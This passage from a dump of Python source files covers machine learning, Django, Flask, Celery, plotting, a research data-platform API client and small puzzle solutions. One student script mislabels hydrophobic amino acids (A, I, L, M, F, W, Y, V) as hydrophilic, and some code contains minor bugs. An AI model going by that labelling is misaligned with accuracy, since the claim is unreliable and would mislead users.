新しい「一番右端のインデックス」\n last_appeared[C[j - 1]] = j\n bit.add(j, 1)\n\n # 尺取り法の左端\n rm = r\n\n # クエリに答える\n ans[i] = bit.query(l, r)\n\nprint(*ans, sep=\"\\n\")\n","sub_path":"contest_src/abc174/f.py","file_name":"f.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"115803487","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom torch import cuda\n\nfrom . import Constants\nfrom .tree import Tree\n\n\n# module for childsumtreelstm\nclass ChildSumTreeLSTM(nn.Module):\n def __init__(self, in_dim, mem_dim):\n super(ChildSumTreeLSTM, self).__init__()\n self.bsz = 128\n self.max_num_children = 10\n self.in_dim = in_dim\n self.mem_dim = mem_dim\n self.ioux = nn.Linear(self.in_dim, 3 * self.mem_dim)\n self.iouh = nn.Linear(self.mem_dim, 3 * self.mem_dim)\n self.fx = nn.Linear(self.in_dim, self.mem_dim)\n self.fh = nn.Linear(self.mem_dim, self.mem_dim)\n\n def node_forward(self, inputs, child_c, child_h):\n # inputs: in_dim\n # child_c: num_children * mem_dim\n # child_h: num_children * mem_dim\n child_h_sum = torch.sum(child_h, dim=0, keepdim=True)\n\n iou = self.ioux(inputs) + self.iouh(child_h_sum)\n i, o, u = torch.split(iou, iou.size(1) // 3, dim=1)\n i, o, u = F.sigmoid(i), F.sigmoid(o), F.tanh(u)\n\n f = F.sigmoid(\n self.fh(child_h) +\n self.fx(inputs).repeat(len(child_h), 1)\n )\n fc = torch.mul(f, child_c)\n\n c = torch.mul(i, u) + torch.sum(fc, dim=0, keepdim=True)\n h = torch.mul(o, F.tanh(c))\n return c, h\n\n def batch_node_forward(self, inputs, child_c, child_h, num_children):\n # inputs: bsz * in_dim\n # child_c: bsz * max_num_child * in_dim\n # child_h: bsz * max_num_child * in_dim\n # num_children: bsz * num_children\n bsz, max_num_children, _ = child_c.size()\n child_h_sum = torch.sum(child_h, dim=1, keepdim=False)\n\n iou = self.ioux(inputs) + self.iouh(child_h_sum)\n i, o, u = torch.split(iou, iou.size(1) // 3, dim=1)\n i, o, u = F.sigmoid(i), F.sigmoid(o), F.tanh(u)\n\n fh, fx = self.fh(child_h), self.fx(inputs)\n for idx in range(bsz):\n fh[idx, :num_children[idx]] += fx[idx].repeat(num_children[idx], 1)\n f = F.sigmoid(fh)\n\n fc = torch.mul(f, child_c)\n\n c = torch.mul(i, u) + torch.sum(fc, dim=1, keepdim=False)\n h = torch.mul(o, F.tanh(c))\n return c, h\n\n def forward(self, tree, inputs):\n if isinstance(tree, list):\n return self.batch_forward(tree, inputs)\n for idx in range(tree.num_children):\n self.forward(tree.children[idx], inputs)\n\n if tree.num_children == 0:\n child_c = inputs[0].detach().new(1, self.mem_dim).fill_(0.).requires_grad_()\n child_h = inputs[0].detach().new(1, self.mem_dim).fill_(0.).requires_grad_()\n else:\n child_c, child_h = zip(* map(lambda x: x.state, tree.children))\n child_c, child_h = torch.cat(child_c, dim=0), torch.cat(child_h, dim=0)\n\n tree.state = self.node_forward(inputs[tree.idx], child_c, child_h)\n return tree.state\n\n\n def update_leaf_states(self, trees, inputs):\n queue = []\n for tree_idx, tree in enumerate(trees):\n for node_idx, node in tree.items():\n if node.num_children == 0:\n node.visited = True\n child_c = Variable(torch.zeros(1, self.mem_dim), requires_grad=True)\n child_h = Variable(torch.zeros(1, self.mem_dim), requires_grad=True)\n if cuda.is_available():\n child_c = child_c.cuda()\n child_h = child_h.cuda()\n input = inputs[tree_idx][node_idx]\n queue.append((tree_idx, node_idx, input, child_c, child_h))\n\n head = 0\n while head < len(queue):\n idxes, encoder_inputs, children_c, children_h = [], [], [], []\n while head < len(queue) and len(encoder_inputs) < self.bsz:\n tree_idx, node_idx, input, child_c, child_h = queue[head]\n encoder_inputs.append(input.unsqueeze(0))\n children_c.append(child_c.unsqueeze(0))\n children_h.append(child_h.unsqueeze(0))\n head += 1\n encoder_inputs = torch.cat(encoder_inputs, dim=0)\n children_c = torch.cat(children_c, dim=0)\n children_h = torch.cat(children_h, dim=0)\n num_children = [1] * len(encoder_inputs)\n #print('leaf', len(encoder_inputs))\n batch_c, batch_h = self.batch_node_forward(encoder_inputs, children_c, children_h, num_children)\n for i in range(batch_c.shape[0]):\n idx = head - batch_c.shape[0] + i\n tree_idx, node_idx, _, _, _ = queue[idx]\n trees[tree_idx][node_idx].state = (batch_c[i], batch_h[i])\n for tree_idx, tree in enumerate(trees):\n for node_idx, node in tree.items():\n if node.num_children == 0:\n assert node.state is not None\n return queue\n\n\n def update_internal_node_states(self, trees, inputs, queue):\n head = 0\n num_internal_nodes, depth = 0, 1\n while head < len(queue):\n # find updatable parent nodes, and push to the end of queue\n prev_num_nodes = len(queue)\n while head < prev_num_nodes:\n tree_idx, node_idx, _, _, _ = queue[head]\n parent_node = trees[tree_idx][node_idx].parent\n if parent_node is not None and not parent_node.visited:\n can_visit = True\n children_c, children_h = [], []\n for child_node in parent_node.children:\n if child_node.state is None:\n can_visit = False\n break\n else:\n c, h = child_node.state\n children_c.append(c.unsqueeze(0))\n children_h.append(h.unsqueeze(0))\n if can_visit:\n parent_node.visited = True\n children_c_var = Variable(torch.zeros(self.max_num_children, self.mem_dim),\n requires_grad=True)\n children_h_var = Variable(torch.zeros(self.max_num_children, self.mem_dim),\n requires_grad=True)\n if cuda.is_available():\n children_c_var = children_c_var.cuda()\n children_h_var = children_h_var.cuda()\n children_c_var[:len(children_c)] = torch.cat(children_c, dim=0)\n children_h_var[:len(children_h)] = torch.cat(children_h, dim=0)\n queue.append((tree_idx, parent_node.idx, inputs[tree_idx][parent_node.idx],\n children_c_var, children_h_var))\n head += 1\n\n depth += 1\n # update parent states\n newhead = prev_num_nodes\n while newhead < len(queue):\n encoder_inputs, children_c, children_h, num_children = [], [], [], []\n while newhead < len(queue) and len(encoder_inputs) < self.bsz:\n tree_idx, node_idx, input, child_c, child_h = queue[newhead]\n curr_node = trees[tree_idx][node_idx]\n encoder_inputs.append(input.unsqueeze(0))\n children_c.append(child_c.unsqueeze(0))\n children_h.append(child_h.unsqueeze(0))\n num_children.append(curr_node.num_children)\n newhead += 1\n if len(encoder_inputs) > 0:\n encoder_inputs = torch.cat(encoder_inputs, dim=0)\n children_c = torch.cat(children_c, dim=0)\n children_h = torch.cat(children_h, dim=0)\n num_internal_nodes += len(encoder_inputs)\n #print('internal', len(encoder_inputs))\n batch_c, batch_h = self.batch_node_forward(\n encoder_inputs, children_c, children_h, num_children\n )\n for i in range(batch_c.shape[0]):\n idx = newhead - batch_c.shape[0] + i\n tree_idx, node_idx, _, _, _ = queue[idx]\n trees[tree_idx][node_idx].state = (batch_c[i], batch_h[i])\n for index in range(prev_num_nodes, len(queue)):\n tree_idx, node_idx, _, _, _ = queue[idx]\n assert trees[tree_idx][node_idx].state is not None\n #print(\"num of internal nodes\", num_internal_nodes)\n\n\n def batch_forward(self, trees, inputs):\n # trees: list[list[tree]]\n # inputs: list[torch.Tensor(seqlen, emb_size)]\n num_nodes = {}\n for tree_idx, tree in enumerate(trees):\n for node_idx, node in tree.items():\n assert node.state is None\n assert not node.visited\n depth = node.depth()\n if depth not in num_nodes:\n num_nodes[depth] = 0\n num_nodes[depth] += 1\n # print(num_nodes)\n queue = self.update_leaf_states(trees, inputs)\n self.update_internal_node_states(trees, inputs, queue)\n root_c, root_h = [], []\n for tree in trees:\n root = Tree.get_root(tree[0])\n root_c.append(root.state[0].unsqueeze(0))\n root_h.append(root.state[1].unsqueeze(0))\n for tree_idx, tree in enumerate(trees):\n for node_idx, node in tree.items():\n assert node.state is not None\n assert node.visited\n return torch.cat(root_c, dim=0), torch.cat(root_h, dim=0)\n\n\n# module for distance-angle similarity\nclass Similarity(nn.Module):\n def __init__(self, mem_dim, hidden_dim, num_classes):\n super(Similarity, self).__init__()\n self.mem_dim = mem_dim\n self.hidden_dim = hidden_dim\n self.num_classes = num_classes\n self.wh = nn.Linear(2 * self.mem_dim, self.hidden_dim)\n self.wp = nn.Linear(self.hidden_dim, self.num_classes)\n\n def forward(self, lvec, rvec):\n mult_dist = torch.mul(lvec, rvec)\n abs_dist = torch.abs(torch.add(lvec, -rvec))\n vec_dist = torch.cat((mult_dist, abs_dist), 1)\n\n out = F.sigmoid(self.wh(vec_dist))\n out = F.log_softmax(self.wp(out), dim=1)\n return out\n\n\n# putting the whole model together\nclass SimilarityTreeLSTM(nn.Module):\n def __init__(self, vocab_size, in_dim, mem_dim, hidden_dim, num_classes, sparsity, freeze):\n super(SimilarityTreeLSTM, self).__init__()\n self.emb = nn.Embedding(vocab_size, in_dim, padding_idx=Constants.PAD, sparse=sparsity)\n if freeze:\n self.emb.weight.requires_grad = False\n self.childsumtreelstm = ChildSumTreeLSTM(in_dim, mem_dim)\n self.similarity = Similarity(mem_dim, hidden_dim, num_classes)\n\n def forward(self, ltree, linputs, rtree, rinputs):\n if isinstance(ltree, list):\n return self.batch_forward(ltree, linputs, rtree, rinputs)\n linputs = self.emb(linputs)\n rinputs = self.emb(rinputs)\n lstate, lhidden = self.childsumtreelstm(ltree, linputs)\n rstate, rhidden = self.childsumtreelstm(rtree, rinputs)\n output = self.similarity(lstate, rstate)\n return output\n\n def batch_forward(self, ltrees, linputs, rtrees, rinputs):\n linputs_tensor, rinputs_tensor = [], []\n for i in range(len(linputs)):\n linputs_tensor.append(self.emb(linputs[i]))\n rinputs_tensor.append(self.emb(rinputs[i]))\n lstates, lhidden = self.childsumtreelstm(ltrees, linputs_tensor)\n rstates, rhidden = self.childsumtreelstm(rtrees, rinputs_tensor)\n output = self.similarity(lstates, rstates)\n return output\n","sub_path":"treelstm/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":11892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"74096678","text":"\"\"\"\r\n## NAME\r\n porcentaje_aminoacidos.py\r\n\r\n## VERSION\r\n\r\n [1.0]\r\n\r\n## AUTHOR\r\n\r\n Zara Paulina Martinez Sanchez \r\n\r\n## DATE\r\n\r\n 12/05/2021\r\n\r\n## DESCRIPTION\r\n\r\n Este programa utiliza una función para calcula el porcentaje de aminoácidos hidrofílicos\r\n en una proteina dada por el usuario.\r\n\r\n## CATEGORY\r\n\r\n Protein sequence\r\n\r\n## USAGE\r\n\r\n porcentaje_aminoacidos.py es de uso bioinformático\r\n\r\n## ARGUMENTS\r\n\r\n No hay argumentos\r\n\r\n## EXAMPLES\r\n Input:\r\n \"MSRSLLLRFLLFLLLLPPLP\"\r\n Output:\r\n \"El porcentaje de aminoacidos hidrofílicos en la proteina es: 65\"\r\n\r\n## GITHUB LINK\r\n https://github.com/zara-ms/python_class/tree/master/src\r\n\r\n\"\"\"\r\n\r\n# Obtener el porcentaje de aminoacidos de una lista dada en una proteina especifica\r\ndef get_aa_content(proteina, lista_aa):\r\n total = len(proteina)\r\n porcentaje = 0\r\n for aa in lista_aa:\r\n aa_count = proteina.upper().count(aa)\r\n porcentaje += aa_count * 100 / total\r\n return porcentaje\r\n\r\n# Definir la lista de aminoacidos hidrofilicos\r\naa_hidrofilicos = ['A','I','L','M','F','W','Y','V']\r\n\r\n# Probar que el codigo funcione de manera adecuada al obtener los resultados esperados\r\nassert get_aa_content(\"MSRSLLLRFLLFLLLLPPLP\", [\"M\"]) == 5\r\nassert get_aa_content(\"MSRSLLLRFLLFLLLLPPLP\", ['M', 'L']) == 55\r\nassert get_aa_content(\"MSRSLLLRFLLFLLLLPPLP\", ['F', 'S', 'L']) == 70\r\nassert get_aa_content(\"MSRSLLLRFLLFLLLLPPLP\", aa_hidrofilicos) == 65\r\n\r\n# Ingresar la proteina a analizar y guardarla en una nueva variable\r\nprint(\"Introduzca la proteina que desea analizar\")\r\nproteina_nueva = input()\r\nprint(\"El porcentaje de aminoacidos hidrofílicos en la proteina es: \"\r\n + str(get_aa_content(proteina_nueva, aa_hidrofilicos)))\r\n","sub_path":"Tareas/PYTHON_2021-[5] Lista de Aminoácidos-2785/Zara Paulina Martínez Sánchez_9457_assignsubmission_file_/porcentaje_aminoacidos.py","file_name":"porcentaje_aminoacidos.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"37102346","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/music/management/commands/base_track_feed.py\n# Compiled at: 2015-04-21 15:32:16\nfrom types import StringType\nfrom django.core.management.base import BaseCommand as ManagementBaseCommand, CommandError\nfrom django.db import transaction\nfrom django.utils import timezone\nfrom django.contrib.sites.models import Site\nfrom django.conf import settings\nfrom music.models import Track\n\ndef _do_create(di):\n \"\"\"Function that interprets a dictionary and creates objects\"\"\"\n track = di['track'].strip()\n artists = di['artist']\n if isinstance(artists, StringType):\n artists = [\n artists]\n tracks = Track.objects.filter(title=track, state='published')\n if tracks:\n track = tracks[0]\n track_created = False\n else:\n track = Track.objects.create(title=track, state='published')\n track_created = True\n last_played = di.get('last_played', None)\n if last_played and track.last_played != last_played:\n track.last_played = last_played\n track.save()\n if track_created:\n track.length = di.get('length', 240)\n track.sites = Site.objects.all()\n track.save(set_image=False)\n for artist in artists:\n track.create_credit(artist.strip(), 'artist')\n\n track.set_image()\n return\n\n\nclass BaseCommand(ManagementBaseCommand):\n help = 'Process a track feed and create or update tracks. Do not call\\nthis command directly. It is intended to be subclassed.'\n\n @transaction.commit_on_success\n def handle(self, *args, **options):\n for di in self.past_tracks:\n _do_create(di)\n\n di = self.current_track\n if di:\n if not di.has_key('last_played'):\n di['last_played'] = timezone.now()\n _do_create(di)\n for di in self.future_tracks:\n _do_create(di)\n\n @property\n def past_tracks(self):\n \"\"\"Return a list of dictionaries. Subclasses must implement this.\"\"\"\n raise NotImplementedError\n\n @property\n def current_track(self):\n \"\"\"Return a dictionary or None. Subclasses must implement this.\"\"\"\n raise NotImplementedError\n\n @property\n def future_tracks(self):\n \"\"\"Return a list of dictionaries. Subclasses must implement this.\"\"\"\n raise NotImplementedError","sub_path":"pycfiles/jmbo_music-2.0.0-py2.7/base_track_feed.py","file_name":"base_track_feed.py","file_ext":"py","file_size_in_byte":2483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"503120318","text":"from celery import Celery\n\n\n# 为celery使用django配置文件进行设置\nimport os\nif not os.getenv('DJANGO_SETTINGS_MODULE'):\n os.environ['DJANGO_SETTINGS_MODULE'] = 'meiduo_mall.settings.dev'\n\n\n# 实例化\ncelery_app = Celery('meiduo_mall')\n\n\n# 配置文件\ncelery_app.config_from_object('celery_tasks.config')\n\n# 接受任务\ncelery_app.autodiscover_tasks(['celery_tasks.sms', 'celery_tasks.email', 'celery_tasks.html'])\n\n\n\n","sub_path":"meeduo_11/meiduo_mall/celery_tasks/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"114392046","text":"from flask_restful import Resource, fields, marshal\nfrom flask import Blueprint, jsonify\nfrom apps.model.home import Home\n\npage_bp = Blueprint('page',__name__)\nhome_field = {\n 'page': {\n 'video': fields.String,\n 'image': fields.String,\n 'title': fields.String,\n 'text': fields.String\n }\n}\n\n\nclass HomeResourse(Resource):\n def get(self):\n page = Home.query.filter_by().all()\n page = marshal(page, home_field)\n return jsonify(page)\n","sub_path":"apps/view/page.py","file_name":"page.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"458113666","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport time\nfrom math import sin\n\nfrom django.http import JsonResponse, HttpResponseBadRequest\n\nfrom django.http import HttpResponse\nfrom django.utils.html import format_html\nfrom django.db import connection\n\n# дублирование переменной оправдно - это независимый сервис, он работает с\n# независимым (от service1) набором функций. Но можно положить эту переменную\n# в общий конфигурационный файл\n\nallowed_functions = {\n 't+2/t': [lambda t: t + 2.0 / t, 'x+2.0/x'],\n 'sin(t)': [lambda t: sin(t), 'sin(x)'],\n}\n\n\ndef points(request):\n fn = request.GET.get('fn', allowed_functions.keys()[1])\n interval = int(request.GET.get('interval', 1))\n step = int(request.GET.get('step', 12))\n\n if not fn in allowed_functions: return HttpResponseBadRequest('Function {} is not allowed'.format(fn))\n\n if step == 0: return HttpResponseBadRequest('Step should not be zero')\n\n f = allowed_functions[fn][0]\n fs = allowed_functions[fn][1]\n\n t0 = int(time.time())\n\n i0 = 0\n i1 = interval * 24 // step\n\n p = []\n for i in range(i0, i1):\n x = t0 - i * step * 3600\n y = f(x)\n p.append([x, y])\n\n sql = \"\"\"\n \nCREATE TEMPORARY TABLE tmptable(\n x INTEGER,\n y FLOAT\n);\n\n\nDO $$ \n\nDECLARE\n x INTEGER;\n y FLOAT;\n step INTEGER := {step};\n t0 INTEGER := {t0};\nBEGIN\n\n FOR i IN {i0}..{i1} LOOP\n x := t0 - i * step * 3600;\n y := {fs};\n INSERT INTO tmptable(x,y) VALUES (x,y);\n END LOOP;\n\nEND;\n\n$$;\n\nSELECT * FROM tmptable;\n\n \"\"\".format(step=step, t0=t0, i0=i0, i1=i1, fs = fs)\n\n with connection.cursor() as cursor:\n cursor.execute(sql)\n p1 = cursor.fetchall()\n\n return JsonResponse({\n 'fn': fn,\n 'interval': interval,\n 'step': step,\n 'now': time.time(),\n 'points': p1,\n 'points_ref': p,\n })\n","sub_path":"service2/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"560579840","text":"import csv\r\nimport pygal\r\nfrom datetime import datetime\r\n\r\n# Get dates and high temperatures from file.\r\nfilename = \"List of Sierra Foreign Aid Projects.csv.csv\"\r\n\r\n# Get dates, high, and low temperatures from file.\r\nwith open(filename) as f:\r\n reader = csv.reader(f)\r\n header_row = next(reader)\r\n\r\n dates, highs, lows, names = [], [], [], []\r\n for row in reader:\r\n try:\r\n name = row[0]\r\n current_date = datetime.strptime(row[2], \"%Y\").date()\r\n high = int(row[3])\r\n low = int(row[4])\r\n except ValueError:\r\n print(current_date, 'missing data')\r\n else:\r\n dates.append(current_date)\r\n # Get the maximum temperature row\r\n highs.append(high)\r\n # Get the minimum temperature row\r\n lows.append(low)\r\n names.append(name)\r\n\r\n\r\nmy_config = pygal.Config()\r\nmy_config.x_label_rotation = 45\r\nmy_config.show_legend = True\r\nmy_config.title_font_size = 24\r\nmy_config.label_font_size = 18\r\nmy_config.major_label_font_size = 18\r\nmy_config.truncate_label = 15\r\nmy_config.show_y_guides = False\r\nmy_config.width = 1200\r\n\r\n# Plot data.\r\nline_chart = pygal.Bar(my_config)\r\nline_chart.title = \"Foreign Aid poured into Sierra Leone for the last decade\"\r\n# line_chart.title(title, fontsize=20)\r\nline_chart.x_labels = names\r\n# line_chart.y_labels = highs\r\n\r\n# plt.show()\r\nline_chart.add('Aid Received($)', highs)\r\nline_chart.add('Aid Remain($)', lows)\r\nline_chart.render_to_file('sierraaid.svg')\r\n","sub_path":"sierraaid.py","file_name":"sierraaid.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"485213162","text":"# interaction with the DMP server\n\nimport http.client\nimport json\nimport re\nfrom http.cookies import Morsel, SimpleCookie\nfrom pathlib import Path\nfrom typing import Any, Callable, Dict, List, Optional, Union\n\nfrom .login_state import DmpLoginState\nfrom .utils import read_text_resource, safe_dict_get, safe_list_get, stamp_to_text\n\n\nclass DmpGqlResponse:\n def __init__(self, status: int, jsontext: str, cookies: SimpleCookie):\n self._status = status\n self._json = jsontext\n self._cookies = cookies\n pass\n\n @property\n def status(self) -> int:\n \"\"\"\n The HTTP status code\n \"\"\"\n return self._status\n\n @property\n def jsontext(self) -> str:\n \"\"\"\n The response content (presumably JSON) in text form\n \"\"\"\n return self._json\n\n @property\n def cookies(self) -> SimpleCookie:\n \"\"\"\n The cookies that were set by the server\n \"\"\"\n return self._cookies\n\n def cookies_as_dict(self) -> Dict[str, str]:\n \"\"\"\n Return the cookies as a simplified string-string mapping.\n [[CURRENTLY THE VALUES MAY BE WRONG]]\n :return:\n \"\"\"\n cookiedict = {}\n if self.cookies is not None:\n for k, v in self.cookies.items():\n morsel: Morsel = v\n cookiedict[k] = morsel.coded_value\n return cookiedict\n\n pass\n\n\nclass DmpResponse:\n \"\"\"\n Captures the response of a DMP GraphQL query after pre-processing\n \"\"\"\n\n def __init__(\n self, content: Dict[str, Any], status: int, cookies: Optional[Dict[str, str]]\n ):\n self._status = status\n self._cookies = cookies or dict()\n self._content = content\n pass\n\n @property\n def status(self) -> int:\n \"\"\"\n The HTTP status code\n \"\"\"\n return self._status\n\n @property\n def cookies(self) -> Dict[str, str]:\n \"\"\"\n The collection of cookie set requests from the server\n \"\"\"\n return self._cookies\n\n @property\n def content(self) -> Dict[str, Any]:\n \"\"\"\n The 'content'. Exact specification varies on the call\n \"\"\"\n return self._content\n\n\nclass DmpConnection:\n \"\"\"\n Represents a connection to the DMP server\n \"\"\"\n\n def __init__(self, appname: str, server: str = None):\n \"\"\"\n Create a connection to the DMP server. This object acts as its own \"context manager\",\n so use this constructor in a \"with\" block\n :param appname: The application name, used to locate the persisted login information\n :param server: The server name or None to use the default ('data.ideafast.eu')\n \"\"\"\n if server is None:\n server = \"data.ideafast.eu\"\n self._server = server\n self._conn = http.client.HTTPSConnection(self._server)\n self._loginstate = DmpLoginState(appname)\n pass\n\n def __enter__(self):\n \"\"\"\n Supports the Python 'with' statement\n \"\"\"\n self._conn.connect()\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n \"\"\"\n Supports the Python 'with' statement\n \"\"\"\n self._conn.close()\n return False\n\n def close(self):\n \"\"\"\n Close the inner server connection\n \"\"\"\n self._conn.close()\n\n @property\n def is_logged_in(self) -> bool:\n \"\"\"\n True if login info is available. Whether or not that info is valid is up\n to the server to decide\n \"\"\"\n return self._loginstate.is_logged_in\n\n def graphql_request(\n self, query: str, variables: Dict[str, Any], use_cookie: bool = True\n ) -> DmpGqlResponse:\n \"\"\"\n Initiate a request to the DMP server's GraphQL query endpoint\n :param query: The GraphQL query text\n :param variables: The query parameters\n :param use_cookie: (default true) If true, include the login cookie in the query\n and fail if there was no login yet. If false, do not set that cookie (that is:\n send an anonymous query). This should only be false for login requests\n :return: The full JSON text from the response\n \"\"\"\n headers = {\n \"Content-Type\": \"application/json\",\n }\n if use_cookie:\n if not self.is_logged_in:\n raise ValueError(\"You are not logged in\")\n headers[\"Cookie\"] = \"connect.sid=\" + self._loginstate.cookie\n payload = {\"query\": query}\n if variables is not None:\n payload[\"variables\"] = variables\n payloadtext = json.dumps(payload)\n self._conn.request(\"POST\", \"/graphql\", payloadtext, headers)\n res: http.client.HTTPResponse = self._conn.getresponse()\n data = res.read()\n cookies = SimpleCookie()\n setcookievalue = res.getheader(\"Set-Cookie\")\n if setcookievalue is not None:\n cookies.load(setcookievalue)\n return DmpGqlResponse(res.status, data.decode(\"utf-8\"), cookies)\n\n def download_file(\n self,\n file_id: str,\n dest: Union[Path, str],\n progress: Optional[Callable[[int], None]] = None,\n ) -> int:\n \"\"\"\n Download and overwrite a single file from the server to the given local destination file\n :param file_id: The full file id of the file to download\n :param dest: The destination file name. This must be an absolute path.\n :param progress: An optional progress callback. If not None, this is called repeatedly with the\n number of bytes downloaded so far\n :return: The HTTP status code (200 on success)\n \"\"\"\n dest = Path(dest)\n if not dest.is_absolute():\n raise ValueError(\"Expecting an absolute path as destination file\")\n if (\n re.match(\n r\"^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}$\",\n file_id,\n )\n is None\n ):\n raise ValueError(f'Not a valid file ID: \"{file_id}\"')\n if not self.is_logged_in:\n raise ValueError(\"You are not logged in\")\n directory = dest.parent\n if not directory.is_dir():\n directory.mkdir(parents=True)\n headers = {\"Cookie\": \"connect.sid=\" + self._loginstate.cookie}\n self._conn.request(\"GET\", f\"/file/{file_id}\", None, headers)\n res: http.client.HTTPResponse = self._conn.getresponse()\n if res.status != 200:\n res.close()\n return res.status\n size_so_far = 0\n tmp = dest.parent / f\"{dest.name}.tmp\"\n with tmp.open(\"wb\") as f:\n more = True\n while more:\n chunk = res.read(65536)\n more = chunk is not None and len(chunk) > 0\n if more:\n f.write(chunk)\n size_so_far = size_so_far + len(chunk)\n if progress is not None:\n progress(size_so_far)\n tmp.replace(dest)\n return res.status\n\n def user_info_request(self) -> DmpResponse:\n \"\"\"\n Request the information record for the \"currently logged in user\" from\n the server. Raises an exception if there is no currently logged in user.\n Raises an exception if the current user information is no longer considered\n valid by the server.\n :return: A response object. The content is the user info object\n \"\"\"\n query = read_text_resource(\"userinfo.graphql\")\n info = self._loginstate.info\n if info is None or \"id\" not in info:\n raise ValueError(\"You are not logged in\")\n userid: str = info[\"id\"]\n variables = {\"userid\": userid}\n response = self.graphql_request(query, variables)\n if response.status != 200:\n raise ValueError(f\"Query was rejected by server (status {response.status})\")\n\n content: dict = json.loads(response.jsontext)\n data = safe_dict_get(content, \"data\")\n users = safe_dict_get(data, \"getUsers\")\n user: Dict[str, Any] = safe_list_get(users, 0)\n retval = DmpResponse(user, response.status, response.cookies_as_dict())\n return retval\n\n def study_files_request(self, study_id: str) -> List[Dict[str, Any]]:\n \"\"\"\n Request information on the content of a study (including detailed information\n on each file)\n :param study_id: the full study ID string\n :return: A dictionary with\n \"\"\"\n\n def reformat_file_entry(fe: Dict[str, Any], studyname: str) -> Dict[str, Any]:\n dtx: str = fe.get(\"description\")\n description: Dict[str, Any] = json.loads(dtx)\n utt = fe.get(\"uploadTime\")\n if isinstance(utt, str):\n utt = int(utt)\n start_stamp = safe_dict_get(description, \"startDate\")\n end_stamp = safe_dict_get(description, \"endDate\")\n device_id: Optional[str] = safe_dict_get(description, \"deviceId\")\n device_kind = device_id[0:3] if device_id is not None else None\n ret = {\n \"fileId\": fe[\"id\"],\n \"fileName\": fe.get(\"fileName\"),\n \"fileSize\": fe[\"fileSize\"],\n # 'description': description,\n \"participantId\": safe_dict_get(description, \"participantId\"),\n \"deviceKind\": device_kind,\n \"deviceId\": device_id,\n \"timeStart\": stamp_to_text(start_stamp),\n \"timeEnd\": stamp_to_text(end_stamp),\n \"timeUpload\": stamp_to_text(utt),\n \"stampStart\": start_stamp,\n \"stampEnd\": end_stamp,\n \"stampUpload\": utt,\n \"uploadedBy\": fe.get(\"uploadedBy\"),\n \"studyId\": fe.get(\"studyId\"),\n \"studyName\": studyname,\n }\n return ret\n\n query = read_text_resource(\"study_files.graphql\")\n info = self._loginstate.info\n if info is None or \"id\" not in info:\n raise ValueError(\"You are not logged in\")\n variables = {\n \"studyId\": study_id,\n }\n response = self.graphql_request(query, variables)\n if response.status != 200:\n raise ValueError(f\"Query was rejected by server (status {response.status})\")\n content: dict = json.loads(response.jsontext)\n data = safe_dict_get(content, \"data\")\n study = safe_dict_get(data, \"getStudy\")\n study_name: str = safe_dict_get(study, \"name\")\n files: List[Dict[str, Any]] = safe_dict_get(study, \"files\")\n if files is None:\n self._loginstate.state_host.save_state(\"last_error_data\", content)\n raise ValueError(\n 'No file information in response (dump saved to state \"last_error_data\")'\n )\n files2 = [reformat_file_entry(fe, study_name) for fe in files]\n return files2\n\n def login_request(self, username: str, password: str, totp: str) -> DmpResponse:\n \"\"\"\n Request a new login from the server\n :param username: The user name\n :param password: The password\n :param totp: The authentication code\n :return: On success: a DmpResponse with the user info and cookie set\n \"\"\"\n query = read_text_resource(\"login.graphql\")\n\n variables = {\n \"username\": username,\n \"password\": password,\n \"totp\": totp,\n }\n response = self.graphql_request(query, variables, False)\n if response.status != 200:\n raise ValueError(f\"Query was rejected by server (status {response.status})\")\n\n content: dict = json.loads(response.jsontext)\n data = safe_dict_get(content, \"data\")\n user = safe_dict_get(data, \"login\")\n\n if user is None:\n raise ValueError(\"Login failed\")\n cookies = response.cookies_as_dict()\n\n if \"connect.sid\" not in cookies:\n raise ValueError(\"Login request did not return a login token / cookie\")\n\n retval = DmpResponse(user, response.status, cookies)\n return retval\n\n @property\n def login_state(self) -> DmpLoginState:\n \"\"\"\n Return the login state persistence handler\n \"\"\"\n return self._loginstate\n\n pass\n","sub_path":"dmpy/core/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":12332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"232630740","text":"def solution(routes):\n answer = 0\n cam = []\n routes.sort(key=lambda e: e[0]) # 출발지점 기준으로 정렬\n\n for i in routes:\n cs = i[0] # 출발지점 저장\n flag =True\n for j in cam:\n if j[0] <= cs <= j[1]:\n flag = True\n else: # 출발 지점이 카메라 영역안에 없다면\n flag = False\n break\n if flag:\n cam.append(i)\n else:\n answer += 1\n cam.clear()\n cam.append(i)\n\n answer += 1\n return answer\n\nprint(solution([[-20,15], [-14,-5], [-18,-13], [-5,-3]]))","sub_path":"Programmers/Lv3/Lv3_단속카메라.py","file_name":"Lv3_단속카메라.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"315316425","text":"# Copyright (c) Facebook, Inc. and its 